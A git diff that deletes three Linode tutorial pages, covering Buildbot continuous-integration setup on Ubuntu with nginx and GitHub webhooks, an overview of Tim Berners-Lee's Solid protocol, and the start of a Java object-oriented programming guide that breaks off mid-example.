a/docs/guides/development/ci/use-buildbot-for-software-testing-on-ubuntu/index.md +++ /dev/null @@ -1,442 +0,0 @@ ---- -slug: use-buildbot-for-software-testing-on-ubuntu -title: "Using Buildbot to Test Software on Ubuntu 18.04" -title_meta: "Use Buildbot for Software Testing on Ubuntu 18.04" -description: "This shows how to install, configure, and use Buildbot as a continuous integration platform, as well as how to write configuration for custom testing builds." -og_description: "Deploy self-hosted continuous integration using Buildbot." -authors: ["Tyler Langlois"] -contributors: ["Tyler Langlois"] -published: 2018-09-06 -modified: 2021-10-18 -keywords: ["buildbot", "testing", "python", "continuous integration", "ci", "build", "qa"] -tags: ["automation","nginx"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Official Buildbot Tutorial](http://docs.buildbot.net/current/tutorial/)' -- '[Buildbot Documentation](http://docs.buildbot.net/current/index.html)' -audiences: ["intermediate"] -dedicated_cpu_link: true -relations: - platform: - key: buildbot-software-testing - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/development/ci/use-buildbot-for-software-testing-on-ubuntu/'] ---- - -[Buildbot](https://buildbot.net/) is an open source system for testing software projects. In this guide, you will set up a Linode as a Buildbot server to use as a continuous integration platform to test code. Similarly to hosted solutions like Travis CI, Buildbot is an automated testing platform that can watch for code changes, test a project's code, and send notifications regarding build failures. - -## Before you Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -3. Complete the [Add DNS Records](/cloud/guides/set-up-web-server-host-website/#add-dns-records) steps to register a domain name that will point to your Linode instance hosting Buildbot. - - {{< note respectIndent=false >}} -Replace each instance of `example.com` in this guide with your Buildbot site's domain name. -{{< /note >}} - -1. Your Buildbot site will serve its content over HTTPS, so you will need to obtain an SSL/TLS certificate. Use [Certbot](/cloud/guides/secure-http-traffic-certbot/#use-certbot-on-ubuntu) to request and download a free certificate from [Let's Encrypt](https://letsencrypt.org/). - - sudo apt install software-properties-common - sudo add-apt-repository ppa:certbot/certbot - sudo apt update - sudo apt install certbot - sudo certbot certonly --standalone -d example.com - - These commands will download a certificate to `/etc/letsencrypt/live/example.com/` on your Linode. - - {{< note respectIndent=false >}} - The steps to install NGINX will be covered in the [Set up the Buildbot Master Web Interface](/cloud/guides/use-buildbot-for-software-testing-on-ubuntu/#set-up-the-buildbot-master-web-interface) section of the guide. - {{< /note >}} - -## Install Buildbot - -### Install the Buildbot Master - -Since Buildbot is provided as an Ubuntu package, install the software from the official Ubuntu repositories. - -1. Install the `buildbot` package along with `pip3`, which will be used to install additional python packages: - - sudo apt-get install -y buildbot python3-pip - -1. Install the required Buildbot Python packages: - - sudo pip3 install buildbot-www buildbot-waterfall-view buildbot-console-view buildbot-grid-view - -1. The `buildbot` package sets up several file paths and services to run persistently on your host. In order to create a new configuration for a Buildbot master, enter the directory for Buildbot master configurations and create a new master called `ci` (for "continuous integration"). - - cd /var/lib/buildbot/masters - sudo -u buildbot -- buildbot create-master ci - - The generated master configuration file's location is `/var/lib/buildbot/masters/ci/master.cfg.sample`. - -1. Make a copy of the default configuration to the path that Buildbot expects for its configuration file: - - sudo cp ci/master.cfg.sample ci/master.cfg - -1. Change the permissions for this configuration file so that the `buildbot` user has rights for the configuration file: - - sudo chown buildbot:buildbot ci/master.cfg - -### Configure the Buildbot Master - -In order to secure and customize Buildbot, you will change a few settings in the master configuration file before using the application. The master configuration file's location is `/var/lib/buildbot/masters/ci/master.cfg`. - -Buildbot has a number of concepts that are represented in the master build configuration file. Open this file in your preferred text editor and browse the Buildbot configuration. The Buildbot configuration is written in Python instead of a markup language like Yaml. - -1. Generate a random string to serve as the password that workers will use to authenticate against the Buildbot master. This is accomplished by using `openssl` to create a random sequence of characters. - - openssl rand -hex 16 - - -1. Update the following line in the `master.cfg` file and replace `pass` with the randomly-generated password: - - {{< file "/var/lib/buildbot/masters/ci/master.cfg" python >}} -... -# The 'workers' list defines the set of recognized workers. Each element is -# a Worker object, specifying a unique worker name and password. The same -# worker name and password must be configured on the worker. -c['workers'] = [worker.Worker("example-worker", "pass")] -... - {{}} - -1. Uncomment the `c[title]` and the `c[titleURL]` lines. If desired, change the name of the Buildbot installation by updating the value of ``c[title]``. Replace the `c[titleURL]` value with the URL of your Buildbot instance. In the example, the URL value is replaced with `example.com`. - - {{< file "/var/lib/buildbot/masters/ci/master.cfg" python >}} -... -c['title'] = "My CI" -c['titleURL'] = "https://example.com" -... - {{}} - -1. Uncomment the `c['buildbotURL']` line and replace the URL value with the your Buildbot instance's URL: - - {{< file "/var/lib/buildbot/masters/ci/master.cfg" python >}} -... -c['buildbotURL'] = "https://example.com/" -... - {{}} - - These options assume that you will use a custom domain secured with Let's Encrypt certificates from `certbot` as outlined in the [Before You Begin](/cloud/guides/use-buildbot-for-software-testing-on-ubuntu/#before-you-begin) section of this guide. - -1. Uncomment the web interface configuration lines and keep the default options: - - {{< file "/var/lib/buildbot/masters/ci/master.cfg" python >}} -... -c['www'] = dict(port=8010, - plugins=dict(waterfall_view={}, console_view={}, grid_view={})) -... - {{}} - -1. By default, Buildbot does not require people to authenticate in order to access control features in the web UI. To secure Buildbot, you will need to configure an authentication plugin. - - Configure users for the Buildbot master web interface. Add the following lines below the web interface configuration lines and replace the `myusername` and `password` values with the ones you would like to use. - - {{< file "/var/lib/buildbot/masters/ci/master.cfg" python >}} -... -c['www'] = dict(port=8010, - plugins=dict(waterfall_view={}, console_view={}, grid_view={})) - -# user configurations -c['www']['authz'] = util.Authz( - allowRules = [ - util.AnyEndpointMatcher(role="admins") - ], - roleMatchers = [ - util.RolesFromUsername(roles=['admins'], usernames=['myusername']) - ] -) -c['www']['auth'] = util.UserPasswordAuth([('myusername','password')]) -... - {{}} - -1. Buildbot supports building repositories based on GitHub activity. This is done with a GitHub webhook. Generate a random string to serve as a webhook secret token to validate payloads. - - openssl rand -hex 16 - - -1. Configure Buildbot to recognize GitHub webhooks as a change source. Add the following snippet to the end of the `master.cfg` file and replace `webhook secret` with the random string generated in the previous step. - - {{< file "/var/lib/buildbot/masters/ci/master.cfg" python >}} -c['www']['change_hook_dialects'] = { - 'github': { - 'secret': 'webhook_secret', - } -} - {{}} - -1. Finally, start the Buildbot master. This command will start the Buildbot process and persist it across reboots. - - sudo systemctl enable --now buildmaster@ci.service - -### Set up the Buildbot Master Web Interface - -Buildbot is now running and listening on HTTP without encryption. To secure the connection, install NGINX to terminate SSL and reverse proxy traffic to the Buildbot master process. - -{{% content "install-nginx-ubuntu-ppa" %}} - -Now that NGINX is installed, configure NGINX to talk to the local Buildbot port. NGINX will listen for SSL traffic using the Let's Encrypt certificate for your domain. - -1. Create your site's NGINX configuration file. Ensure that you replace the configuration file's name `example.com.conf` with your domain name. Replace all instances of `example.com` with your Buildbot instance's URL. - - {{< file "/etc/nginx/conf.d/example.com.conf" conf >}} -server { - # Enable SSL and http2 - listen 443 ssl http2 default_server; - - server_name example.com; - - root html; - index index.html index.htm; - - ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; - ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; - - # put a one day session timeout for websockets to stay longer - ssl_session_cache shared:SSL:10m; - ssl_session_timeout 1440m; - - ssl_protocols TLSv1.2 TLSv1.3; - ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384; - ssl_prefer_server_ciphers on; - - # force https - add_header Strict-Transport-Security "max-age=31536000; includeSubdomains;"; - spdy_headers_comp 5; - - proxy_set_header HOST $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Forwarded-Proto $scheme; - proxy_set_header X-Forwarded-Server $host; - proxy_set_header X-Forwarded-Host $host; - - location / { - proxy_pass http://127.0.0.1:8010/; - } - location /sse/ { - # proxy buffering will prevent sse to work - proxy_buffering off; - proxy_pass http://127.0.0.1:8010/sse/; - } - location /ws { - proxy_http_version 1.1; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection "upgrade"; - proxy_pass http://127.0.0.1:8010/ws; - # raise the proxy timeout for the websocket - proxy_read_timeout 6000s; - } -} -{{< /file >}} - -1. Disable NGINX's default configuration file: - - mv /etc/nginx/conf.d/default.conf /etc/nginx/conf.d/default.conf.disabled - -1. Restart NGINX to apply the Buildbot reverse proxy configuration: - - sudo systemctl restart nginx - -1. Navigate to your Buildbot instance's URL over HTTPS. You will see the Buildbot homepage: - - ![Buildbot Landing Page](buildbot-landing-page.png "Buildbot Landing Page") - - Your continuous integration test server is now up and running. - -1. Ensure that you can log into your Buildbot instance with the admin credentials you created in the [Configure Buildbot Master](/cloud/guides/use-buildbot-for-software-testing-on-ubuntu/#set-up-the-buildbot-master-web-interface) section. Click on the top right hand dropdown menu entitled **Anonymous** and then, click on **Login**. A *Sign In* modal will appear. Enter your credentials to log in to Buildbot as the admin user. - -### Install the Buildbot Worker - -In order for Buildbot to execute test builds, the Buildbot master will require a worker. The following steps will setup a worker on the same host as the master. - -1. Install the `buildbot-worker` using pip: - - pip install buildbot-worker - -1. Navigate to the directory which will store the Buildbot worker configurations: - - cd /var/lib/buildbot/workers - -1. Create the configuration directory for the Buildbot worker. Replace `example-worker` and `my-worker-password` with the values used for the `c[worker]` configuration in the `master.cfg` file. - - sudo -u buildbot -- buildbot-worker create-worker default localhost example-worker my-worker-password - -1. The Buildbot worker is ready to connect to the Buildbot master. Enable the worker process. - - sudo systemctl enable --now buildbot-worker@default.service - - Confirm that the worker has connected by going to your Buildbot site and navigating to **Builds** -> **Workers** in the sidebar menu: - - ![Buildbot Workers Page](buildbot-worker-page.png "Buildbot Workers Page") - -## Configuring Builds - -Now that Buildbot is installed, you can configure it to run builds. In this tutorial, we will use a forked GitHub repository for the [Linode Guides and Tutorials repository](https://github.com/linode/docs) to illustrate how to use Buildbot as a system to run tests against a repository. - -### Configuring GitHub - -Before creating the build configuration, fork the `linode/docs` repository into your GitHub account. This is the repository that will be used to run tests against. The repository will also require webhooks to be configured to send push or PR events to Buildbot. - -{{< note >}} -The actions you take to fork, add webhook, and push changes to your fork of `linode/docs` will not affect the parent (or upstream), so you can safely experiment with it. Any changes you make to branches of your fork will remain separate until you submit a pull request to the original `linode/docs` repository. -{{< /note >}} - -#### Forking and Configuring the Repository - -1. Log in to your GitHub account and navigate to https://github.com/linode/docs. Click the **Fork** button: - - ![GitHub Fork Button](github-fork-button.png "GitHub Fork Button") - -1. Choose the account to fork the repository into (typically just your username). GitHub will bring you to the page for your own fork of the `linode/docs` repository. - - Select **Settings** to browse your fork's settings: - - ![GitHub Fork Settings](github-fork-settings.png "GitHub Fork Settings") - - Then, select **Webhooks** from the sidebar: - - ![GitHub Webhook Settings](github-webhook-settings.png "GitHub Webhook Settings") - -1. Click on the **Add webhook** button. There are several fields to populate: - - * Under *Payload URL* enter the domain name for your Buildbot server with the change hook URL path appended to it: `https://example.com/change_hook/github`. - * Leave the default value for *Content type*: `application/x-www-form-urlencoded`. - * Under the *Secret* field, enter the `secret` value for the `c['www']['change_hook_dialects']` option you configure in the `master.cfg` file. - * Leave *Enable SSL Verification* selected. - * For the *Which events would you like to trigger this webhook?*, select *Let me select individual events* and ensure that only the following boxes are checked: - * *Pull requests* - * *Pushes* - * Leave *Active* selected to indicate that GitHub should be configured to send webhooks to Buildbot. - -1. Click on the **Add webhook** button to save your settings. - - GitHub will return your browser to the list of webhooks for your repository. After configuring a new webhook, GitHub will send a test webhook to the configured payload URL. To indicate whether GitHub was able to send a webhook without errors, it adds a checkmark to the webhook item: - - ![GitHub Webhook Success](github-webhook-success.png "GitHub Webhook Success") - - Github will now send any new pushes made to your fork to your instance of Buildbot for testing. - -### Build Prerequisites - -This guide runs builds as a simple process on the Buildbot worker, however, it is possible to execute builds within a Docker container, if desired. Consult the official [Buildbot documentation](http://docs.buildbot.net/current/manual/cfg-workers-docker.html) for more information on configuring a Docker set up. - -Most software projects will define several prerequisites and tests for a project build. The Linode Guides and Tutorials repository defines several different tests to run for each build. This example will use one test defined in a python script named `blueberry.py`. This test checks for broken links, missing images, and more. This test's dependencies can be installed via `pip` in a virtualenv. - -On your Linode, install the packages necessary to permit the worker to use a Python virtualenv to create a sandbox during the build. - - sudo apt-get install -y build-essential python3-dev python3-venv - -### Writing Builds - -The `/var/lib/buildbot/masters/ci/master.cfg` file contains options to configure builds. The specific sections in the file that include these configurations are the following: - -* `WORKERS`, define the worker executors the master will connect to in order to run builds. -* `SCHEDULERS`, specify how to react to incoming changes. -* `BUILDERS`, outline the steps and build tests to run. - -Because the worker has already been configured and connected to the Buildbot master, the only settings necessary to define a custom build are the `SCHEDULERS` and `BUILDERS`. - -1. Add the following lines to the end of the `/var/lib/buildbot/masters/ci/master.cfg` file to define the custom build. Ensure you replace `my-username` and `my-git-repo-name` with the values for your own GitHub fork of the `linode/docs` repository and `example-worker` with the name of your Buildbot instance's worker: - - {{< file "/var/lib/buildbot/masters/ci/master.cfg" python >}} -docs_blueberry_test = util.BuildFactory() -# Clone the repository -docs_blueberry_test.addStep( - steps.Git( - repourl='git://github.com/my-username/my-git-repo-name.git', - mode='incremental')) -# Create virtualenv -docs_blueberry_test.addStep( - steps.ShellCommand( - command=["python3", "-m", "venv", ".venv"])) -# Install test dependencies -docs_blueberry_test.addStep( - steps.ShellCommand( - command=["./.venv/bin/pip", "install", "-r", "ci/requirements.txt"])) -# Run tests -docs_blueberry_test.addStep( - steps.ShellCommand( - command=["./.venv/bin/python3", "ci/blueberry.py"])) -# Add the BuildFactory configuration to the master -c['builders'].append( - util.BuilderConfig(name="linode-docs", - workernames=["example-worker"], - factory=docs_blueberry_test)) - {{< /file >}} - - The configuration code does the following: - - * A new Build Factory is instantiated. Build Factories define how builds are run. - * Then, instructions are added to the Build Factory. The Build Factory clones the GitHub fork of the `linode/docs` repository. - * Next, a Python virtualenv is setup. This ensures that the dependencies and libraries used for testing are kept separate, in a dedicated sandbox, from the Python libraries on the worker machine. - * The necessary Python packages used in testing are then installed into the build's virtualenv. - * Finally, the `blueberry.py` testing script is run using the `python3` executable from the virtualenv sandbox. - * The defined Build Factory is then added to the configuration for the master. - -1. Define a simple scheduler to build any branch that is pushed to the GitHub repository. Add the following lines to the end of the `master.cfg` file: - - {{< file "~/buildbox-master/master/master.cfg" python >}} - ... -c['schedulers'].append(schedulers.AnyBranchScheduler( - name="build-docs", - builderNames=["linode-docs"])) - {{< /file >}} - - This code instructs the Buildbot master to create a scheduler that builds any branch for the `linode-docs` builder. This scheduler will be invoked by the change hook defined for GitHub, which is triggered by the GitHub webhook configured in the GitHub interface. - -1. Restart the Buildbot master now that the custom scheduler and builder have been defined: - - sudo systemctl restart buildmaster@ci.service - -### Running Builds - -Navigate to your Buildbot site to view the Builder and Scheduler created in the previous section. In the sidebar click on **Build** -> **Builders**. You will see `linode-docs` listed under the *Builder Name* heading: - -![Buildbot Custom Builder](buildbot-custom-builder-page.png "Buildbot Custom Builder") - -A new build can be started for the `linode-docs` builder. Recall that the GitHub webhook configuration for your fork of `linode/docs` is set to call Buildbot upon any push or pull request event. To demonstrate how this works: - -1. Clone your fork of the `linode/docs` repository on your local machine (do not run the following commands on your Buildbot server) and navigate into the cloned repository. Replace `username` and `repository` with your own fork's values: - - git clone https://github.com/username/repository.git - cd repository - -1. Like many git repositories, the `linode-docs` repository changes often. To ensure that the remaining instructions work as expected, start at a specific revision in the code that is in a known state. Check out revision `76cd31a5271b41ff5a80dee2137dcb5e76296b93`: - - git checkout 76cd31a5271b41ff5a80dee2137dcb5e76296b93 - -1. Create a branch starting at this revision, which is where you will create dummy commits to test your Buildbot master: - - git checkout -b linode-tutorial-demo - -1. Create an empty commit so that you have something to push to your fork: - - git commit --allow-empty -m 'Buildbot test' - -1. Push your branch to your forked remote GitHub repository: - - git push --set-upstream origin linode-tutorial-demo - -1. Navigate to your Buildbot site and go to your running builds. The **Home** button on the sidebar displays currently executing builds. - - ![Buildbot running Builds](buildbot-running-builds.png "Buildbot running Builds") - -1. Click on the running build to view more details. The build will display each step along with logging output: - - ![Buildbot Build Page](buildbot-build-page.png "Buildbot Build Page") - - Each step of the build process can be followed as the build progresses. While the build is running, click on a step to view standard output logs. A successful build will complete each step with an exit code of `0`. - - Your Buildbot host will now actively build pushes to any branch or any pull requests to your repository. - -## Features to Explore - -Now that you have a simple build configuration for your Buildbot instance, you can continue to add features to your CI server. Some useful functions that Buildbot supports include: - -* [Reporters](http://docs.buildbot.net/current/manual/cfg-reporters.html), which can notify you about build failures over IRC, GitHub comments, or email. -* [Workers](http://docs.buildbot.net/current/manual/cfg-workers.html) that execute builds in Docker containers or in temporary cloud instances instead of static hosts. -* [Web server features](http://docs.buildbot.net/current/manual/cfg-www.html), including the ability to generate badges for your repository indicating the current build status of the project. diff --git a/docs/guides/development/concepts/introduction-to-the-solid-data-protocol/index.md b/docs/guides/development/concepts/introduction-to-the-solid-data-protocol/index.md deleted file mode 100644 index 91767599bad..00000000000 --- a/docs/guides/development/concepts/introduction-to-the-solid-data-protocol/index.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -slug: introduction-to-the-solid-data-protocol -title: "An Overview of the Solid Data Protocol" -title_meta: "Introduction to the Solid Data Protocol" -description: 'This guide will introduce you to the Solid protocol, created by Tim Berners-Lee and gives Internet users ownership over their data, and how to incorporate the tech.' -authors: ["Andy Patrizio"] -contributors: ["Andy Patrizio"] -published: 2021-08-27 -keywords: ['solid protocol'] -tags: ['web applications'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Solid Getting Started Developer Guide](https://solidproject.org/developers/tutorials/getting-started)' -- '[Solid GitHub page](https://github.com/solid/solid-tutorial-intro)' ---- -## The Origins of the Solid Protocol - -Just over thirty years ago, a physicist named [Tim Berners-Lee](https://en.wikipedia.org/wiki/Tim_Berners-Lee) created a decentralized, collaborative read-write space he called the World Wide Web. Initially, the first browser was also an editor for content creation. As the web grew, web content shifted to development and design tools. HTML made up less of a web page as cascading style sheets, JavaScript, Python, and other technologies took over. As this happened, user data was taken out of the domain of its owner and transferred to the Internet companies that own the websites. It’s been the cause for debate for some time; do you own the contents of your Facebook page or does Facebook? - -Another issue is the transferability and mobility of data. For the longest time, we kept our data on our PC. Then came multiple PCs, phones and tablets, and cloud storage. Now your personal data is scattered across several sites and their own storage implementations. Not just that, but your data is difficult to migrate since different apps store data very differently. - -Dr. Berners-Lee has become increasingly disillusioned with how the web has been misused to violate the privacy of its users. For this reason, he sought to create a new means to protect an individual's personal data. With a donation from Mastercard in 2015, he and his research team at the Massachusetts Institute of Technology began the work on *Solid* (“social linked data”). In 2018, he took a sabbatical from MIT to launch a commercial venture based on Solid, called *Inrupt*. The company's mission is to provide an ecosystem to help protect the integrity and quality of the new web built on Solid. It’s a way for you to own your own data while making it available to the applications that you want to allow to use it. - -## What is the Solid Protocol? - -[Solid](https://solidproject.org/) is a tech stack that incorporates a group of related protocols and implementations, much like the web Berners-Lee created. All of the protocols used are W3C-approved standards, and some were even developed by Berners-Lee himself. - -Solid is a decentralized platform for social web applications. With this new design, a user’s data is managed independently of the applications that create and consume this data. Solid uses *Pods* to store your data. It is possible to have multiple Pods, and they can be stored anywhere; on your PC, mobile devices, or in the cloud. You then have control over which apps and individuals may have access to a specific bit of data within your Pod. You can also revoke access at any given time. - -The protocols used by Solid are based on existing W3C recommendations for reading, writing, and access control of the contents of users’ Pods. In Solid architecture, applications can operate over data owned by the user or that the user has access to. The storage location of the data on the web does not influence how applications can interact with your data. The app becomes irrelevant in terms of accessing the data so long as it uses the W3C authentication and access standards. Any app can access any Pod. - -## The Solid Protocol and Medical Records - -The Solid protocol has the potential to make a big impact on the security of your medical records. The portability of medical records and medical history is something the medical industry has pursued for years. Medical records are kept in silos with no connection between each record. Solid allows a person to create a Pod where only their medical records are stored. A user can then give access to their medical records to their physicians and turn it off if they change doctors. - -## How Solid Works - -Solid applications are implemented as client-side web or mobile applications that read and write data directly from the Pods. Applications are by design decoupled from the data source. This allows applications to aggregate data from different sources on the web. The application can access both the user’s Pod and other Pods, and multiple applications can reuse the same data on a Pod. - -Berners-Lee explained that Solid is not unlike a typical web app. You have a front-end (the app or web page) and a back-end (a server app). Both pieces communicate using a custom server API. With Solid, all users have a universal API that handles all the backend data and access control. - -Solid uses decentralized authentication, a global ID space, and global single sign-on. Solid uses the WebID identifier and protocol that Berners-Lee invented in 2000 for user access, along with a cryptographic key. - -Solid applications read and write data stored in users’ Pods via RESTful HTTP operations using Linked Data Platform (LDP). Pods use LDP to organize data into containers that group resources together, giving each container and resource their own Uniform Resource Identifier (URI). - -The Solid platform includes solid.js, a JavaScript library implementing the Solid protocols. The Solid protocols guarantee efficient performance for social applications regardless if these applications use solid.js or not. Usage of solid.js is intended to accelerate the development of Solid applications by enabling you to write less code. - -For more advanced options, Solid supports [SPARQL](https://en.wikipedia.org/wiki/SPARQL). SPARQL is an Resource Description Framework (RDF) query language able to retrieve and manipulate data stored in RDF format. It allows applications to express complex data retrieval operations, including operations that require server-to-server communication via link-following. This simplifies Solid application development since it enables a developer to delegate complex, multi-pod data retrieval operations to the server. - -Berners-Lee has been working on Solid since 2016, but it is still in its early stages and the community is still growing. The [subreddit for Solid](https://www.reddit.com/r/SOLID/) currently has about 2,000 members. If you'd like to learn more, the project has a [home page with documentation](https://solidproject.org/developers/tutorials/getting-started) on how to build Solid apps, and there is a [GitHub page](https://github.com/solid/solid-tutorial-intro) with sample code and tutorials as well. diff --git a/docs/guides/development/concepts/oop-principles/index.md b/docs/guides/development/concepts/oop-principles/index.md deleted file mode 100644 index 4415d7135dc..00000000000 --- a/docs/guides/development/concepts/oop-principles/index.md +++ /dev/null @@ -1,314 +0,0 @@ ---- -slug: oop-principles -title: "A Guide to OOP Principles in Java" -title_meta: "Object-Oriented Programming Concepts, Explained" -description: "What are the four major OOP principles? This guide will discuss object-oriented programming concepts and provide real-world examples." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2022-06-10 -keywords: ['oop principles','oop concepts','oop concepts in java'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[GeeksforGeeks: Object Oriented Programming (OOPs) Concept in Java](https://www.geeksforgeeks.org/object-oriented-programming-oops-concept-in-java/)' -- '[ParTech: Basic Principles of Object-oriented Programming](https://www.partech.nl/en/publications/2020/10/basic-principles-of-object-oriented-programming#:~:text=The%20basic%20principles%20of%20OOP,any%20object%2Doriented%20programming%20language.)' -- '[Munish Chandel: What are Four Basic Principles of Object Oriented Programming?](https://medium.com/@cancerian0684/what-are-four-basic-principles-of-object-oriented-programming-645af8b43727)' -- '[Key Lime Interactive: The Four Pillars of Object Oriented Programming](https://info.keylimeinteractive.com/the-four-pillars-of-object-oriented-programming)' ---- - -Object-oriented programming gives you a set of programming principles to make your code more compartmentalized and reusable. Object-oriented programming accomplishes this by structuring programs around objects. This tutorial covers the core principles of object-oriented programming and provides examples of these concepts written in Java. - -## What is Object Oriented Programming (OOP)? - -Object-oriented programming — often abbreviated "OOP" — is a set of programming principles centered on objects. Such a set of principles is called a programming *paradigm*. Objects in OOP can hold attributes and be assigned behaviors, and they allow developers to structure programs around reusable, self-contained components. - -Because of its object-oriented focus, OOP shines when used for applications that need objects to be at their logical center. This is the case with user interfaces, one of the most common places to see OOP used, as well as business applications. - -## OOP Concepts in Java You Need to Know - -Object-oriented programming tends to make use of four structures. These form the bedrock of all of the pieces a developer has to work with when building object-oriented programs. - -- **Classes**: These act as blueprints for objects. They define underlying properties and behaviors which can be inherited by other classes and by objects. Your OOP program's collection of classes creates a structure off of which the rest of the program gets built. - - Often, in Java, code is constructed with one class per file. The class syntax resembles the following example: - - {{< file >}} -public class ClassName { - // Code related to the class. -} - {{< /file >}} - -- **Objects**: These are derived from classes and populate the abstract of their classes' properties with concrete values. They are the things built from the blueprints provided by classes. Objects also tend to be where the behaviors defined on classes get executed, bringing your application to life. - - Java lets you instantiate an object from a class using the `new` keyword. Here, a new object gets created from the class created above. This example works when the class has a *constructor* defined. You can see an example of a constructor definition in the [Examples of Object Oriented Programming](/cloud/guides/oop-principles/#examples-of-object-oriented-programming) section further on. - - {{< file >}} -ClassName objectName = new ClassName(); - {{< /file >}} - -- **Attributes**: These are fields (or properties) defined on classes and which represent the state of a particular object. A class might, for instance, define an `attributeOne` as a `String` type. An object derived from that class can then use that attribute, assigning it `attributeOne = "a string"`, for example. - - This next example shows what it could look like to add an attribute to the `ClassName` class created above: - - {{< file >}} -public class ClassName { - public attributeOne = "a string"; -} - {{< /file >}} - -- **Methods**: These are functions defined on classes, and they provide objects with behaviors. Methods typically act on the values held by an object's attributes, allowing each object to act in a self-contained way. - - In the following example, you can see what it looks like to add a basic method to a class, using the `ClassName` example started above: - - {{< file >}} -public class ClassName { - public attributeOne = "a string"; - - public void methodOne() { - System.out.println("The method has been called!"); - } -} - {{< /file >}} - -## 4 Basic OOP Principles - -In addition to the four basic parts, object-oriented programming has four fundamental concepts. These are what primarily make OOP stand out, and developers rely on these when making the most effective and reusable OOP code. - -These next four sections cover the four principles of OOP, giving you an overview of the roles they play. Then, keep reading to find a section with examples, in Java, each of which demonstrates these principles in action. - -### Encapsulation - -This principle ensures that objects are self-contained and limits what information about their state they expose. In other words, other objects cannot directly access the state of an object. Each object manages its own state. To modify an object's state, other objects need to use that object's dedicated methods. - -So, for instance, say you have an object called `firstObject`. That object has two attributes, `attributeOne` and `attributeTwo`. Encapsulation prevents another object, say `secondObject`, from modifying the values of the attributes on `firstObject`. - -Now, `firstObject` has control of its own state. It may, for instance, define a method called `setAttributeOne` that outside objects can access. This way, `secondObject` can make changes to `attributeOne` on `firstObject`. But if `firstObject` does not define a similar method for `attributeTwo`, `secondObject` has no means of modifying it. - -Encapsulation can make OOP applications easier to upgrade and easier for collaboration. An engineer working on one object would thus be less likely to cause breaking changes to an object someone else is working on. - -Encapsulation also makes it easier to keep track of objects' states. These states can become complicated, and more so the more outside access they allow. By ensuring that each object controls its own state, you make the code easier for yourself and other developers to follow and maintain. - -### Data Abstraction - -This principle states that classes include only the details relevant to their context. Doing so creates abstract classes, which more specific classes and objects can extend. - -Take the example of a `Pet` class. You can make this class to define, in the most general way, the characteristics of pets. So, the class may have `name`, `diet`, and `health` attributes. Now you can extend that class with more specific kinds of `Pet`. For instance, you may define a `Dog` class that extends `Pet` and adds a `bark` method. At the same time, you can also define a `Cat` class similarly extending on `Pet`. - -One of the goals of abstraction is to define common characteristics. Using the example above, `Dog` has the unique behavior of the `bark` method, but otherwise it shares things like having a `name` in common with other pets. Abstraction makes it so that you do not need to redefine these attributes for each specific kind of pet. - -Abstraction also allows you to evaluate various classes by common abstract classes. So long as you know that both `Cat` and `Dog` extend `Pet`, you can evaluate them based on the common attributes held in `Pet`. - -{{< file >}} -if (obj eitherCatOrDog instanceof Pet) { - System.out.println("This is my pet, " + eitherCatOrDog.name + "."); -} -{{< /file >}} - -### Inheritance - -This principle declares that objects get some or all of the properties of their parents. Inheritance is the foundation of reusability in OOP. With it, you can create a class and its properties can be reused in multiple objects. - -For example, you can start with a `ClassName` class from which you create two objects, `objectOne` and `objectTwo`. Each of these objects inherits from the parent class, `ClassName`, and receives all of its attributes and methods. The objects can then each individually work with those attributes and methods. But the important feature is that the `ClassName` class acts as a common and reusable base. - -In Java, such parent classes are called *super* classes. Commonly, classes inheriting from super classes are called *sub* classes. This means that you can make additional classes that inherit from super classes, so that you can have a chain of inheritance. - -Take a look at the `Pet` example above again. You have a `Cat` class and a `Dog` class that inherit from `Pet`, thus gaining its attributes. From there, you can create specific objects that inherit from the new classes: - -{{< file >}} -Pet myDog = new Dog(); -{{< /file >}} - -The new object inherits not only properties of the `Dog` class — like the `bark` method — but also those on the `Pet` class, like the `name` attribute. - -### Polymorphism - -This principle states that each sub class can be used in the same way as its parent class or parent classes. At the same time, each sub class may keep its own, distinct form of attributes and methods initially defined in a super class. - -Polymorphism is one of the more complicated features of OOP, but it plays a useful role. To help you understand it, below is an example that reworks the `Pet` example elaborated in the sections above. - -Say, for instance, when creating the `Pet` class, you include a method called `makeSound`: - -{{< file >}} -class Pet { - public String name = "None"; - public String diet = "Herbivore"; - public boolean healthy = true; - - public void makeSound() { - System.out.println("This is my pet sound."); - } -} -{{< /file >}} - -Obviously, the effect of `makeSound` should be different for `Cat` and `Dog`, even though both, being pets, do make sounds: - -{{< file >}} -class Cat extends Pet { - public String diet = "Carnivore"; - - public void makeSound() { - System.out.println("Meow."); - } -} - -class Dog extends Pet { - public String diet = "Omnivore"; - - public void makeSound() { - System.out.println("Bark."); - } -} -{{< /file >}} - -Following polymorphism, you can, indeed, use any property from the `Pet` class on any object deriving from the `Cat` and `Dog` classes. The effect may be different — you get a different sound from the `makeSound` method — but all of the parts are still there. - -## Examples of Object Oriented Programming - -This section includes snippets of code that give examples of OOP concepts in Java. These are aimed to simultaneously show off some of the components of OOP as well as the four core principles discussed above. The examples also familiarize you with the elements of Java that relate to OOP. - -Starting simple, this first example shows a single Java class, not counting the default `Main` class used to start up the program. This class covers all of the parts — class, object, attribute, and method — of OOP mentioned above. - -{{< file >}} -// Create a class. -class BookShelf { - // Declare the class attributes. - public int 